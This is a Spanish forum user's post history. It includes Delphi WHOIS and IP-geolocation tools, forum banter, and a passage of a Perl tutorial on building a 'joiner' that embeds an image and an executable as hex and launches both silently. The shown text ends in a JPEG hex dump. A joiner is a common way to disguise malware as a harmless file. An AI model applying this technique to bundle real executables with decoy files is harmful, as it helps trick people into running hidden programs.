Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#231
no creo que sea dificil superarme.

parece que a softpedia le intereso este programa porque lo publicaron  aca.
#232
Siempre habia querido hacer un programa para hacer un whois en delphi pero en ese entonces no conocia delphi lo suficiente como para poder hacerlo , hoy me tome unos 10 min libres y logre hacer uno , para hacerlo instale indy y escribi unas pocas lineas para hacerlo.

Una imagen :



El codigo (muy corto xD)

Código (delphi) [Seleccionar]

// GetWhois 0.1
// Coded By Doddy H in the year 2013

unit whois;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdWhois, ComCtrls,
  sStatusBar, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    IdWhois1: TIdWhois;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if sEdit1.text = '' then
  begin
    ShowMessage('Write the domain');
  end
  else
  begin
    sStatusBar1.Panels[0].text := '[+] Searching ...';
    Form1.sStatusBar1.Update;

    sMemo1.Clear;
    sMemo1.Lines.text := IdWhois1.whois(sEdit1.text);

    sStatusBar1.Panels[0].text := '';
    Form1.sStatusBar1.Update;
  end;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#233
no le eh intentado con el API , pero usar indy me parece facil.

#234
Programación General / [Delphi] LocateIP 0.1
25 Abril 2013, 22:46 PM
Traduccion a Delphi de este programa para localizar una IP.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// LocateIP 0.1
// Coded By Doddy H in the year 2013
// Based on the services :
// To get IP -- http://whatismyipaddress.com/
// To locate IP -- http://www.melissadata.com/
// To get DNS -- http://www.ip-adress.com/

unit locateip;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, jpeg, ExtCtrls, StdCtrls, sLabel, sGroupBox, sButton,
  sEdit, sListBox, ComCtrls, sStatusBar, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx, IdMultipartFormData;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    sLabel4: TsLabel;
    sEdit4: TsEdit;
    sGroupBox3: TsGroupBox;
    sListBox1: TsListBox;
    PerlRegEx1: TPerlRegEx;
    IdHTTP1: TIdHTTP;
    sStatusBar1: TsStatusBar;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  rta: string;
  z: integer;
  par: TIdMultiPartFormDataStream;
begin

  if sEdit1.text = '' then
  begin
    ShowMessage('Write the target');
  end
  else
  begin
    sStatusBar1.Panels[0].text := '[+] Getting IP ...';
    Form1.sStatusBar1.Update;

    par := TIdMultiPartFormDataStream.Create;
    par.AddFormField('DOMAINNAME', sEdit1.text);

    rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);

    PerlRegEx1.Regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
    PerlRegEx1.Subject := rta;

    if PerlRegEx1.Match then
    begin
      sEdit1.text := PerlRegEx1.SubExpressions[2];

      // Locating ...

      sStatusBar1.Panels[0].text := '[+] Locating ...';
      Form1.sStatusBar1.Update;

      rta := IdHTTP1.Get(
        'http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
          sEdit1.text);

      PerlRegEx1.Regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
      PerlRegEx1.Subject := rta;

      if PerlRegEx1.Match then
      begin
        sEdit2.text := PerlRegEx1.SubExpressions[2];
      end
      else
      begin
        sEdit2.text := 'Not Found';
      end;

      PerlRegEx1.Regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
      PerlRegEx1.Subject := rta;

      if PerlRegEx1.Match then
      begin
        sEdit3.text := PerlRegEx1.SubExpressions[2];
      end
      else
      begin
        sEdit3.text := 'Not Found';
      end;

      PerlRegEx1.Regex :=
        'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
      PerlRegEx1.Subject := rta;

      if PerlRegEx1.Match then
      begin
        sEdit4.text := PerlRegEx1.SubExpressions[2];
      end
      else
      begin
        sEdit4.text := 'Not Found';
      end;

      //

      // Get DNS

      sStatusBar1.Panels[0].text := '[+] Getting DNS ...';
      Form1.sStatusBar1.Update;

      sListBox1.Items.Clear;

      rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + sEdit1.text);

      PerlRegEx1.Regex := 'whois\/(.*?)\">Whois';
      PerlRegEx1.Subject := rta;

      while PerlRegEx1.MatchAgain do
      begin
        for z := 1 to PerlRegEx1.SubExpressionCount do
          sListBox1.Items.Add(PerlRegEx1.SubExpressions[z]);
      end;

      //

    end
    else
    begin
      sStatusBar1.Panels[0].text := '[-] Error';
      Form1.sStatusBar1.Update;
    end;

    sStatusBar1.Panels[0].text := '';
    Form1.sStatusBar1.Update;

  end;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.

#235
Java / Re: [Java] Diccionario Online 0.1
8 Abril 2013, 17:42 PM
tenes toda la razon EleKtro H@cker , parece que $Edu$ ya tiene un problema personal conmigo xDD.
#236
Java / Re: [Java] Diccionario Online 0.1
8 Abril 2013, 01:19 AM
Cita de: $Edu$ en  8 Abril 2013, 01:04 AM
Podrias crear una aplicacion para localizar todos tus codigos posteados aca en el foro y guardarlos en documentos de texto o como tu quieras.

Seguramente los tienes ya guardados, pero tener un programa que lleves en tu pendrive que te cargue solo el titulo de cada codigo que tienes aqui, o que tengas para escribir el codigo a buscar y te lo encuentre, estaria bueno, por lo menos para ti xD

ajaja , tremendo troll , pero no te preocupes los codigos que importan estan en esta cuenta de Pastebin y en esta de Sourceforge.
#237
Java / Re: [Java] Diccionario Online 0.1
8 Abril 2013, 00:23 AM
Cita de: $Edu$ en  1 Abril 2013, 14:45 PM
Yo lo veo mas como SPAM de sus propios codigos xD
Lo unico que hace es publicar codigos que hace en los lenguajes que sabe. El mismo programa en 4 o 5 lenguajes distintos jajaja.
Es como si fuera un bot que le han encargado hacer codigos jajajaja.

tampoco es spam , en realidad no puedo evitar programar en cualquiera de los lenguajes que conozco , mas bien es una adiccion xDD.

Cita de: NoBullshit en  2 Abril 2013, 02:28 AM
Eso no es un diccionario: eso es la suerte que has tenido que las palabras estén distribuidas bien. Yo no estaría tan orgulloso, eso lo puedes hacer hasta con batch.

este programa lo hice para empezar y entender un poco java.
#238
Scripting / [Perl] Project DH Joiner 0.5
31 Marzo 2013, 23:53 PM
Un simple Joiner hecho en Perl.

Una imagen del generador :



Pueden bajar el programa desde aca.
#239
[Guia] : Creacion de un Joiner en Perl
[Autor] : Doddy Hackman

-- == Indice == --

0x01 : Presentacion
0x02 : Desarrollo
0x03 : Compilacion
0x04 : Herramientas y Codigos finales

-- == ------ == --

0x01 : Presentacion

Ok , esta es una guia corta sobre como hacer un joiner en perl , la idea original se me ocurrio cuando lei este tutorial hecho por hecky neobits , la idea seria hacer lo mismo o algo parecido como esa guia que mostre , creo que esto es lo que me faltaba hacer en perl , bue , todavia me faltan un monton pero bue.

Cabe aclarar que nunca que hice un joiner porque lo que hare al estilo del manual que mostre.

Comencemos .........

0x02 : Desarrollo

Lo primero que necesitamos es bajar el archivo "joiner_manual.rar" de aca , una vez bajado lo descomprimimos y vemos que tenemos el instalador activeperl 5.8 con perl2exe + serial incluido , tambien veran los archivos "coraje.jpg" y "holamundo.exe" que seran los archivos que usaremos en el joiner ahora la idea es conseguir los bytes de los archivos que queremos poner en el joiner en este caso los archivos seran "coraje.jpg" y "holamundo.exe" , para eso pueden usar la herramienta hexnow.pl que esta en la parte "Codigos finales"

Solo con este comando :

Código (perl) [Seleccionar]

perl hexnow.pl -hex coraje.jpg


Con esto creamos un archivo de texto con los bytes de coraje.jpg , lo mismo hacemos con holamundo.exe de la siguiente manera :

Código (perl) [Seleccionar]

perl hexnow.pl -hex holamundo.exe


Una vez que conocemos los bytes de cada uno podemos empezar a codear el archivo joiner.pl :

Primero llamamos a los modulos necesarios de la siguiente manera :

Código (perl) [Seleccionar]

use Win32::Job;   #Modulo necesario para cargar comandos de forma silenciosa
use threads;      #Modulo necesario para cargar los dos archivos al mismo tiempo


Despues usamos los bytes de la siguiente forma :

Código (perl) [Seleccionar]

my $nombre_uno =
 "coraje_uno.jpg";    #Nombre que va a tener el archivo cuando se cree
my $nombre_dos = "holamundo_dos.exe";    # Lo mismo

my $valor_uno =
"ffd8ffe000104a46494600010101006000600000fffe001c536f6674776172653a204d6963726f736f6674204f6666696365ffdb0043000a07070807060a0808080b0a0a0b0e18100e0d0d0e1d15161118231f2524221f2221262b372f26293429212230413134393b3e3e3e252e4449433c48373d3e3bffdb0043010a0b0b0e0d0e1c10101c3b2822283b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3b3bffc0001108012f010c03012200021101031101ffc4001c0001000300030101000000000000000000000506070103040208ffc4004910000104010203050602040c0405050000010002030405061112213107134151611422718191a132b1154252c11623243343627292a2d1e1f0173453c2358293b2f154555663d2ffc4001a010100030101010000000000000000000000010203040506ffc4002e1101000202010302030802030000000000000102031121041231324113229105142342516171b181a1c1e1f0ffdd00040028ffda000c03010002110311003f00d99111011110117cbded634b9ee0d681b924ec028abbab34f6377f6ccdd184b76ddaeb0de21bfa6fba0974545bbdb268ca80f75767b8edbf0c15ddcffbdb05053f6d562c9e1c4696b32f9496250c1d7c80fdea26623994c566de21aba2c3323da46b199a5d63258ec3467f561883dfb6dfd6dfeca0e3ed4f51e32e366ad9d9f20d07de8edc2deede3ec47cb654ae4ada785ed8ed58ddb87e8f4550d0dda1e335a562c60f65c8443792abddb923f69a7c47e5e2adeb466222202222022220222202228ecde7b19a771efbf95b4caf037a171e6f3e4d1d49f40824542e7757e034d309cae4a181fb6e21078a43f068e6b25cff006bf6f3b23ebe36e1c1d2dc832005d6251f103667cb9faaaa4394d3d55ee9819279c9ddd2c8d2f7b8f9ee563932f6f1159996d8f177733688869591ed96cd9ddba734ecd334fe19eebb81a7ff0028ebcffaca02deaed7d9327bccc57c7464efddd4846e39f99dcfdd55e5d6555bbf755657f97110dff35e19f595a77282b471fab89715cd37eaade2ba74c53a5a7aadb59258331706d7f5465ec0278b87da5c1bbf981b90147dec5629803f257a691e07274f6097155ab19fc9d9043edbc34f833ddfc9785ac96c4c18c6be591e79000b892ad5c39e7d77fa22d9f047a29f54fcd99a545a23c658c81e03ee96d97b1a3d40ebf92f769dd6fae9f9682a62f2f76e4f349b3219dc670ef8f1efb0dbe9d57b34d763fa973a592db8862eabbabec8f7c8f4675faecb6cd25a130ba3abed421ef2cbda04b6a5e6f7fc3f647a05d75af6c6b6e4bdfba77ad2c31779dd33bde1ef3847170f4dfc76f45f688aca08888322c9f6f104571f5f1d847bc35e5bde5a9bbbdf6f368076f995d47b5ed4b6cb4d0c3e280f1e2b264fc88d94aebeec86bea0b12e570924752fbfde92270da298f9f2fc2e3e7d0fdd62b99d359bd3964c394c7cf55c3a3c8dd8ef838723f555b45a7d32b566b1ea869b675febeb25c2297174dae3c8c711716ff7b75153e575bdd27da7564f102ee2dab8e0ff00dbb7d1670cb96a31b4762560feabc847ddb520d9f66570f22f256134cf3f9a3e8de2f823f24fd572b787f68777994ce5bb07ce69bc0fc495e3756d2f477e391b33bcb8cbff002e4aa8e739c777389f895c28f8179f55e7fa5be3d23d348fed677ea4c6d40463f1ad07f69cd0dfc9475bd4b92b5b813085be510dbefd5448049d80dc9561c2681d4fa8385d43133774efe9a51ddb3eaeebf2dd5ebd3e3af3adff003cb3b75192dc6f5fc2bef7b9ee2e7b8b89ea49dd7a6a632fde8679aa539e78eb338e67c719708dbe648e8b65d37d84d4aee6cfa8af7b53873f67adbb59f371e67e5b2d4e86328e2ea36a50a90d6aed1b08e36068ff0055bb07e43a772ce3ee456e9ccf82785c1d1c8c3b1695fa4fb3ad7f5f59e2fbb9dcc8b2b5dbfca210360e1bec1edf4e9bf91f9285d79d9052cd89323816c74f207de7c3d2298ffda7ec7c7cd62d8fbd97d1ba8d96236c956f539367c4f046fe6d70f10507eb64513a675152d5382832b48fb928d9f193b98de3ab4fa8ff00252c808baacd986a40f9ec48d8e3634b9ce71d80006e5615a33b57bf57534d5f256e3388b766494bac924d70e25dee9037f96df441bd22a9ff00c50d13ff00dfe0fee3ff00fe57b2aebdd277783b8d4140979d9ad7cc187e8ed8a0f8d6dac2a68cc21bd38124f238320837e723bc7e4073ff00e54e52b906428c172b3c3e19e36c91b87882370b30ed8f49bb5062a1d478b90587d28c8958c7f10745d789bf0ebf03e8a17b24ed22be2eb7f07f3965b15666eea961e7933c4b09f01e23e63c906b5a8f51e3b4be224c964a5e08d9c98c1f8a477835a3c4afce19dce6a0ed1f5182d8259e43b8af4e105cd89be9fbc953b96b999ed835a8a98e6ba3a1012220ff00c1047e323bd4f97c02dab4a68ec4690c78ad8e8077ae03beb0f1bc929f53e03d07241f9faef659ad28825f8496668db9c0f6c9f60775e2fe00eaefff001cc8ff00e8397eac441f98eaf64fad6d6db619d102ddc1965637f7efba9ea1d83ea29c8376fd1aad3b6fc25d2387cb603eeb7e4419862fb09d3f54b5f91bd6ef38756822261fa73fbabd61f4ce0f00ddb158bad5491b17b19ef1f8b8f32a551011110111101111017c4b0c53c6629a3648c7756bda083f22bed1054f23d97e8dc9b9cf970b0c4f77575773a2f1dfa3481f65073f617a4e473dd1cd91878ba06ccd21bf56eff75a4220cc61ec1f4cb37ef6f64a4f2da46376ff000a92a9d8ce8babc3de529ec96efb99ac3bdef8f0ecaf88821f19a4b4f618838ec3d481c06dc62205dfde3cfeea61110111101523b47ecfabeb0c61b15238e2cbc0378653cbbd1fb0e3f91f03e9baba4b2c7042f9a691b1c71b4b9ef79d8340e6493e016479ad699ad7b929b09a4a4752c5c476b1913b873c7f57c403b1d8753e3b0dd1311333a87fffd0a9f675ad2e689cbdba53d3b36629c163a9c6df7c4cde4391e9e20ffa2d08e5bb41d45b3b8eb69ba8ee8d6b7bd9c83e7bf21f62bd1a7749e2b4d41c34e1e29c8f7ec49b17bbe7e03d028dd5baf2a605aea5476b9947fbad899ef08cf8716de3e9d54e9d5186b58dde54bed160a58d11d2932377299590f1cb35ab05fdd37c006f404fe5bf985eaecf7198ca179f5350e3cc590b6c6beab6e41ee3e3237f777e5b9fddf1565d05d9759b7786a5d5e1cfb2f7f7b1d4939927c1d27ee6f86dcfc968baa74c51d55877d1b6d0d907bd5e703de824f0703fbbc5431ef88b6e210a29540361561007ff00ac2f3dac1e22e8dad632a4db8db77c2d276f8eca334ae52ecbed784cc0232b8b7f77313fd2b7f55e3e23f71f156256775662d1b50339a4e8bf3b8dc060993529b26f71b62099c18201f8c96efb7c3c39297d51d87636ff00f1fa7ec0c7ca1a01825ddd1388f1dfab4fd54a68b8064b5ee7b2cf00b68b23a301db90fd67fcf7dbeaaf966cc14eb4966d4d1c10c4de27c923835ad1e649e8aae0c931369d314d3d80ed23b3a7d9763f0f53215a520ca18e6b8bb6076db987fcba2b7698ed2f29a8ebfb445a3ee490890c6e92ad88de1ae1b7221dc3b75579a190a794a8cb742d4566bc9f86589e1cd3f30b3e89bfc09ed6bb90eeef15a9da5cd6feab2c83fbc9ff0018f24517ec7dcb56dae363193d1dba099f1b89fee39cbd888808888088880888808888088880888808888088b8dd0728888088bc19cc9c785c1ddc9cbb16d481f2edbfe2206e07ccf2419b76939abba9b3f1e84c349c11f2932338e61a391e13e8391f524053b8bc4d5c1e2d9471d035ac8c720e3b17bbc4b8edd4f9aaef6758a922c4cb9cba0bafe5a474f23ddd7849247d7727e615c15a1dd869db1b952b5a8d47160ee5d765e0a156166e23ab1b8be424800179208e67a80ae5a2bb3ec369aa35ad9a6d972af89ae9eccc78dc1e46eee1f06f3dfa73f52a035931b62be2293da5d1dccb5685fb750d2edcfe4b4e512c33fa9cae170f77046e7904f08df6039ac1f45eb1a2ccacd91bb2caed41772f1b1bcdc43ebbc869675db66efbec7c9bd7650c178ed028b70d9dc66ae8470b43c53bfb7eb46fe4d71f81fdca554aeadc58cce93c9e3c804cd59e19bfed01bb7ee02a9e93c83b29a5b1d71ff8df080f3e65bee93f50a61d7d3dbcc3d7d9680fc7672770de493336039de607080babb699678fb3c9c425c1b25889b2ec3f577df9f97301767652f69c4e6d81c0b9b9ab3b8df98df855ab3b85a7a870d67157d85d5ecb785dc2762d3bee08f50403f250e59f2a4f64faa1fa9a5cbbc57f668608eab5b1076e03846e6b9c3978f037e817afb5fa52bf47b32b57716b116a3b51b8751cf84fe60f87e152ba2343d1d1142c57ab3c9664b3207cb348d009d86c06c3c06e7ea57a75bc0db3a1b391b99c7fc826701fd60c247dc0442531f71991c6d5bd16dc166164add8efc9c011cfe6bd2ab3d9c5af6cecf70b29938f86b08f7fec12ddbe5c3b7c95990111105533faf20c3e59d89a58bb995bb146249e3ac06d0b4f4e227c4f928e1da6b72ec8a0d338c92e5b7378ac0b44c31d4e7b6cf3b1dddc8f21f151b6dffa0fb4ac9576f0da6e5d8db0d111e27c0e6b76da403f0b4f8150fa6b506524c96484b8c0e01ae9a48a08831fc6361b73ea4ede3cd695c736acda3d9bd31d66226656ec16b6ca0d4b0e9fd4b4aac362db1cfab629b9c62936dc9690ee6080af0b3ed198419ec941acf23621964631d1d3ab0925b5ba877193d64e641e436fa2d0566cadadf022222a22220222202222084d656f214348652d62da4dc8abb9d1edd47991ea06e7e4b36c2e060ab82ad9fc666678727244d99d725b04b2579e65af04ec5bbee0f8abdeb9d4b674fd3a30526c62de4ac8ad14b30de38b7eae3e7e8151b37a560a9a7bb86e5190bbda0cef758708e37bddd7668e4df4002bd2226da99d436c55dee6612190cfeb5cd6224c957b10e023ad197b606b44cf98b46e4971e41a76e402bb68cccd8d41a471d95b7188e7b116f20036048246e3d0edbfcd67789c465b2763f817dfb6b54ad1096e590fde49a2713eec43c06fb827ff0085acd3a9050a70d3ad188e0818238d83a35a06c028b4444ea15bc5638877aa7f6acf737b3cc8b1b2b6274ce862e271d86ce95a0fdb7523ac756d2d1f8575fb23bd95c782081a7674aff2f8799540a581ca6ac9d999d6733a4e2f7a0c6025b1423c371e7e87e7e4aa8a526d3a84de2b3185960869e3af433b6163636b623c5b00001d3a782965d705786ac2d86bc4c8a36f20c634003e41762b3d18deb943e71c1994d385ce01bfa6221cfccb5fb2d1565bae241571d8ec8bf7e0c7e4ebd978f46bb63b9f0eab51041008e8544b8b3fac589d4ec8b2d53b4a8ac32368c3436c59658e31bf08771066dbefbefb0fbadb5143070407348237079105659a01bdd69e96a96f0beadd9e27b7c010f276fbad4d65ba15fdfe33216c02196b27625603d762eff4530df07ad23d9fcdec5ac753e21e7632cb1dd886c39b5c3671f91e10b4259666ac1d39ac30fa9f70dac4fb15d27a08de7dd71f4079fd16a4d7073439a41046e08f150a64af6de61ca8bd4f38ada532f3b9bc422a333c8f3d984a94552ed3f2acc5681c992eda4b71fb2c6ddb72e2fe447f7788fc919ba3b2d96bd3ece3110cd6a16bf81ef20bc0db8a47387d8ab7c7660989114d1c8475e1703b2c9297663a7050ae2d5391f63ba6f7aeef9e3776dccec0edd5754bd94e19a78e95dbf51fd4164a0ede5e1e1f153a6ff02effd1d9553339a9ede4ec4d88d35331bdd92cb7923ef3603e2d67ed3fec3e2a957703afe8e3a7a58cd5325dad33380c73bb69003d4071df6fa8ea555b0b67258989ba4f3af930d42dd8de6b723482d66def35a40db9ec39f4e7e48d3b3b67e685e303566c8d99f1da4fdd8daffe5f9bb20c85eff10ddff1bbc7c82f6495b39a3af59ab251c9e7a8cc4495edc4049287100163c780dfa1e9cd5f7035b17530d5abe17b93458cda230b839a479ee3a9f32a414ecf896dee152ecef0f91c5e2aed8c943ecd364ae3ed0abbefdcb5db6c0faf2e6adc88a198888808888088880888822f5069dc66a7c69a195afdec3c41ed20f0b98e1e208e855725ecaf4f370d72ab229acd99abba28ecdb98caf8cedee96efc86c76e80745774418c63b333d3c7e1752c81cc9f1331a194691b9eef70c7efe7b1e177cd6cac7b5ed0e690e6b86e08e842cb3298a8eb6b6cf6024d9b573b57dae2e5f85e776bfefcd59fb38ccc992d150b6c9dede34baa4e3a1e28f90ff0ec8d2fcc4594ebdbeb4ed52d4b31126374fed144cea1d2f89fef03fdd0acb94cbd4c457efad39c4bb93238d85ef90f935a39955cecd1a25d3d63224b8c97ae4b33cb8ee7aedd7c7e3eaadfb0df7db9f9ab43af15754e14cb9da1cd49bdfcba5b2b1d4e5bcf2c7c1cbcf6e9f752782d7183cfc8d820b0e82cbba4138e171f8781f91503da2645f7ed43a6ebc858c2cefedb9a7c3f51bf5e7f45dda5a862f56695860c9d66baee3ddecef95beecac2dfc243873e9b7d146f95bb7247cded2b36a4c71cb69cbf41ade27cd0b8307f58736fdc053da0b3835068cc75d2ede66c4229c13b91233dd76ff1db7f9a8ba15e6ab4d95e7b26cba31c22570d9ce1e1c5e67ccf8f5505a7722cd13ae6ce2ad3bbac5671fdfd691c766473feb377f5e5fe14963d45771166a68b85ca8723c39ac8331584bb9090ecdad03e43b7a02566fd9bb641a2aa3e5fc523e47efe7bbcf35cf6ddaae3a7866e9caf20759b843e700f36460ee01f891f4057bf48d5f63d258b876d88acd7100efcdc388fe6a61d1d3c7ccf7e4b1f5f2b8e9e85a6f1433b0b1de63d47a8505a53b401a5ec7f05356cae89d57ddab79c376c91fea876dd3978fa6c7a2b3aafeaed255755506b1ee10da87730cdb6fb79823c41532df2e3ef8dc795cec6b1d355689bb2e728f7006fc4d9dae27e001dcfc9659633763b4fd6d59d044f8f038893bd1c43f9c70e84fa9dba780dd57dda53198e94333d83cbc2e6edfc6d0709a093edc437f2dfe8ad588ad632d522c763f112e1302c3c529986d35a1fb3b7500f8bb7e6392873d31f3cae8c7b64635ec3bb5c0107cc2fa5c0000d80d804739ac69739c1ad037249d8052ee72ba6d54ad7abbabdb8239e2775648d0e07e454364b5ce9bc592d9b2714b20fd483f8c3bf97bbc87cd41cdda5be676d8bd3f6e71bf27cee1137f7a89b56be655ee89e1ec3a5729a6ec3afe8cc8bea92789f8f9ddc50cbe9cfa7fbe615a34bf68d532d686273301c466072f6798fbb2fab1de3f0fa6eb3d9756eb1b5b7750e3e8b7d417bbf32144e52965f3c1832f971308ddc4c0cacc696fc1c39ae6b75586bf9995ba6b5f9ad65fa3117e7795f7e85574b63546684718f0baf1b7a01baba762daa725996e5285fb53da8aaf03e092c3f89ed6b8bb705dd4f41d55f166ae5e6ae7cb86d8bd4d51171b82a36de5f86d9a18f87db2e0d8bda1dc2c841e864773e1f41b127cb6e6b5629345e6a70da8da5d6ec89a4778319c0c6fa01ccfd495e94044440444404444141ed3a3f61b180d42de5ec5744331f28e41b1fc87d578b4bcc30fda0e73124964394ac2ec0de7b178e4fdbd4f33f256ad7b8dfd2da1f2d503777fb3ba4672fd667bc3ee166993cbcb5b1da5b59d784d892b6d1cd1b4edc6d7b785c371ea08f9a34af34984cf673c3fc05c770edd1fbede7c6e561b5622a7526b333b8628585ef3e400dcaaf680867ada68c1660f679a3b3287c3ff4cf16fb7dd74768d79d16023c744eda5c8ccd87e0ceae3f603e6adeceea6fb235e54ca32cd7e6b597b3bf7f7e53273fd56746b7e417b70d931a6f5232ec87868df021b5cf931dfa8ffdc7d095f0c63638dac60d9ad0001e8be67863b10be195bc4c78d8858ef9dbea6fd0d6dd2c618f31e3f96b0a333f82a9a8b15250b6360ee6c900f7a3778387fbe8ab5a1f51be37b74e64e4de789bbd499c7f9e8c746ff687e43d15e16de5f336acf35b472a457ed0755683e1a1a9681cb536f28af46e21c47802e23627d0ec7d4ae2ef6df90c9ed4b4d601e6d48366be577785a7d18d1f7276f4566c9c3982eef3193d4783c9f5edb0f09f839bcc7cc1eaa048d6a5a6bd1c5623181e7de983f8f6f5000ebf105469c76c3112a6653037a5bb5a964ec7b66a1ccccd7d87177118211cfe479787201bb0e4b608a36c30b2260d9ac686b47a0501a6f48c585b12e42e597643293ff396641f87cc37c82b12986f8e9da222235178f2796c7e1aa9b391b71d788742f3cdc7c80ea4fa0558d47aec55b9262b0ac8e7bac3c32cd29da380ff00dc7d153cfb158b46ee5b2915fb7e2f9a56f0b7d1addf60161973d71fef28aeed3f2ac377b45bf90263d3b8c219d3daed8d9bf10d07f7fc9424f43219621f9dcb58ba77dfb96bb8221f21fbb65c499fc542de76d879720c04fe4a3aceb1ab1ee2b4124a7cdc7842e0b65eab2f15aea1a76e0a737b6fff007e89aad8fa74c0f67ad1c647eb06f3faf54b791a945bbd99d8c3d4377ddc7e5d5532dea6c95b25ac9040c3fab1723f5eabb31ba72e641fdf592e8613ccb9ff0089df01fbcaa7dd351dd9ac7deb73db86ab051cdbf2973baa75c8819ce4964fc800a5279e2ad0ba699e191b06e5c543cd97c560ebfb356da4737f5233bf3f52aad93cbdaca4bc533b660fc31b7a0515e97e2db711db5ff69bf5318aba99ddbfd3bb379a932b36c3765761f719e7ea7d55ebb36d275327829aee43da1d1cb316b6364ef8daf006db90d237e64f8acd2189f3ccc862697c923835ad039927a2de6861f2b86af83c7e3a48994abb5dede1c0173c91bf23fda27a7a2f5e948a476c7879f499c979b5b9792ee94b3886473e93c864285aef1ac6c6db25d0004f32f6bb7dc01b9f1e654be83d6146ae3ec6132b09a997a32113b18d74afb8e3cccad0017bc9ea791ea3c0803d74f2b4afdab75ab4dde4b49e239dbb11c24ffb3f455ac74229f6e74194f88367a523ad7bc5dbee243cc9df6e619f60ad29cd4ac4774348873766c480334fe4c4647295fdcb07c385d2077d9494523a489af744f89c7ab1e46e3e848fbafb5ca872888883ffd2d99111011170e7358d2e7101a06e49f04117a933b434e60ec64722efe2636ec180fbd238f468f52b32d318c19aecf5d8ab4d35f696460611b98487f1346de9c97adf71dda06ac75f773c0e1e42da8df0b130eaf3e60787cbccab1d7a915692c3e3df7b12f7afdff6b8437f268530eac18e7d52ec6451c6e7b98d0d323b89e4789d80dfe807d1677abecfb76b46c00eecc756008f291fccff008765a3ac944fedb96cade278bbfb8f0d3bf5637dd6fd828b787add0e3efea2b1fa73f4ff00b772222c9f58f35ea62dc6de1798a689c1f14adeac70e842ba691d5bfa581c6e48361ca42398e8d9dbfb4dfde3fd8aa2f3daa6db3c2f6bdd14f19de29a33b3987d0ab44e9e5f5dd0fc6fc4c7eafedae22a0e13b407d37b286a66f76ee8cbcc1ee3ff00b43c0ffbe4af50cf15985934123258de376bd877047a15ac4edf39313133598d4c3b11110170e04b4807624755ca20fcdb97c7dcc5e56c53bc1c2c46f3c649df8bc77f9f55e25fa0b52e91c66a7800b6c31cec1ee588c0e31e87cc7a2ca73dd9c6770dc72c70fb7566f3ef201b903d5bd47dd469c19315ab3c7854d7dc662077943c8f26903eebe5cd2d24386c47220ae143148c39565300d4a50b2403f9d9377bb7f9f21f45d56b2d7ee8227b2f734fea83b0fa05e3454ecaef7ae57f896d6b7c088a534e69dc86a8cc458cc6c61d2bc12e738ecd63475713e4aea2d7d9669a390c99ccd961f67a6768b71c9f27fa75f8ecb4e35b2875236d0b8c18c15f80d7db99937fc5d3cbd54563aaeacd398e83171e8d13b206f0892add670bfcddef73dc9e7cd733d8ed0ae3fb9a1a4e3a5bff004b6ecb1c1bf4214bae97c75af948652f6234bd2b392999140653c4fe0680f9dfb721ea579fb2cc3ddbd7efeb5cac66397203bba91bbab21dfafcf6681f03e6bb30bd96cb67211e5b59647f4ad9610e8eab794119f2dbc7e1b01e7bad15ad6b1818c686b5a36000d8008c7264efe23c3e91114321111011110167fda6e7ecf0d6d25897ed7f2deecaf1fd0c3fac4fc46ff2055db2590ad8ac6d8c85b7f0415a33248ef4017e7ac47687047abf219dcad392696f3f85b235e3f93c7bf2686edcf901e3e08b56226796af8ac6c188c657c7d61b4503034799f327d49e6bd6baab5986e568ecd790490cad0f63dbd1c0f42bb559e946b5c3a6ecfecd46c4fb6fdd44e7ede7b0dd6478569188afb924b9bc449f124eeb4ed4d23a2d2d95918785cda72904787ba566d8e686e36b00361dd37f254bbd5fb2a379ed3fb7fcbd2888b37d1888baf1d8db5aa324fc7d4718a94247b5d969e7fd86faff00bf8cc46dcdd4f534e9e9d